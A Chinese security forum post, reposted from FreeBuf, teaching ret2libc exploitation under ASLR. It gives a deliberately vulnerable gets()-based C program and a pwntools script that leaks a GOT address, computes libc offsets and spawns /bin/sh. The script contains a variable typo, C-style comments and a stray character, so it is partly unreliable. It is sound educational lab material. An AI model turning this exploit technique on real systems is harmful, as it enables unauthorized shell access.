安全矩阵

 找回密码
 立即注册
搜索
查看: 2608|回复: 0

ret2libc过地址随机化

[复制链接]

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
发表于 2020-5-2 14:43:33 | 显示全部楼层 |阅读模式
本帖最后由 caiH 于 2020-5-8 13:50 编辑

本文首发于freebuf平台,转载自https://www.freebuf.com/articles/system/233514.html

之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将
其替换成system等函数和参数的地址来获取权限,这种情况下system与’/bin/sh’的地址并不会改变。而现在,我们在编译c文件时,开启
了栈不可执行和地址随机化,system和’/bin/sh’会发生改变,那我们该如何获取system等的位置呢?


首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出
  1. #include <stdio.h>

  2. char buf2[20]="this is buf2";

  3. void vul()

  4. {char buf1[10];

  5. gets(buf1);}

  6. void main()

  7. {write(1,"sinxx",5);

  8. vul();}
复制代码

我们将其编译设置为栈不可执行和地址随机化

gcc -m32 -fno-stack-protector -no-pie  -o 1.exe 1.c

接着,找出溢出点的位置:



溢出点的位置为22。


那么,我们要进行最重要的一步,找出system和’/bin/sh’的地址。这里我们需要了解几个知识点:

(1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)

(2)在linux的gcc使用C语言源文件的二进制文件时,经过预处理,编译,汇编,链接过程后,就会生成一个ELF格式的可以执行的文件。例

如通过gcc hello.c -o hello即可生成一个文件名为hello的可执行文件,该程序会输出Hello World

(3)PLT表中的数据不是函数的真实地址,即带有@plt标志的函数,起个过渡作用

(4)GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址

(5)地址随机化并没有对PLT表、GOT表产生作用

了解到上面的知识点后,可以用下面的思路来获取地址:

(1)找到gets函数的真实地址

(2)计算出system和/bin/sh这两个参数与gets函数真实地址之间的差值,这样就可以找出system与/bin/sh的地址

(3)构造payload进行溢出

那么我们该如何获取gets函数的真实地址呢?

这里可以看见调用了gets()函数,还可以看见gets@plt

那么使用此语句查看PLT表:objdump -d -M intel -j .plt 1.exe

可以看见在我们执行gets函数时,我们会先去到plt表,然后又会jmp到GOT里面的真实地址:0×8049030

接下来我们计算计算system、/bin/sh与gets函数的相对偏移


先加载1.exe依赖的库,ldd 1.exe看程序依赖什么库。相对偏移地址为 gets函数的真实地址减去在libc中的地址:

rva_libc=gets_real_addr-libc.symbols["gets"]

我么就能知道system与’/bin/sh’的真实地址了,分别为:


addr_system=rva_libc+libc.symbols["system"]

addr_binsh=rval_libc+libc.search("/bin/sh").next()


接下来我们就可以开始写python文件1.py了:

  1. from pwn import *

  2. context(arch="i386",os="linux")

  3. p=process("1.exe")//加载1.exe进程

  4. e=ELF("1.exe")//加载1.exe文件,分析ELF结构

  5. addr_write=e.plt["write"]

  6. addr_gets=e.got["gets"]//gets函数最后的真实地址在got表中

  7. addr_vul=e.symbols["vul"]//由于vul函数是自定义函数,所以在符号表中找到vul的地址

  8. print pidof(p)//便于进行调试

  9. offset=22

  10. pause()

  11. payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)/

  12. p.sendlineafter("sinxx",payload1)//sinxx输完之后再输入payloads

  13. gets_real_addr=u32(p.recv(4))//将地址转换成32位

  14. libc=ELF("/lib/i386-linux-gnu/libc.so.6")//加载1.exe依赖的库

  15. rva_libc=gets_real_addr-libc.symbols["gets"]//计算相对偏移

  16. addr_system=rva_libc+libc.symbols["system"]//system的真实地址

  17. addr_binsh=rval_libc+libc.search("/bin/sh").next()//  '/bin/sh'的真实地址

  18. payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)

  19. p.sendline(payload2)

  20. p.interactive()
复制代码




要注意的是payload1的构成结构,payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)我们在call一个函数的时

候会先将这个函数的地址压入堆栈,然后将执行完函数要跳转到的地址压入堆栈,再将函数的参数压入堆栈,我们将vul的地址当成函数执行完之后

的跳转地址,那么就可以跳转到payload2上。而且为了获取gets的真实地址,调用了write这个函数,然后将got表中gets的真实地址打印出来,其

中’1′和’4′是write的两个参数。


而在构造payload2的时候payload2=offset*’a'+p32(addr_system)+p32(0)+p32(addr_binsh)我们需要压入 执行完函数之后要跳转的地址,由于我们

进行交互之后不需要考虑是否平衡堆栈,所以这个地址我们写0。

最后我们执行这个python文件,成功获得系统权限:



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2023-3-21 09:26 , Processed in 0.014826 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表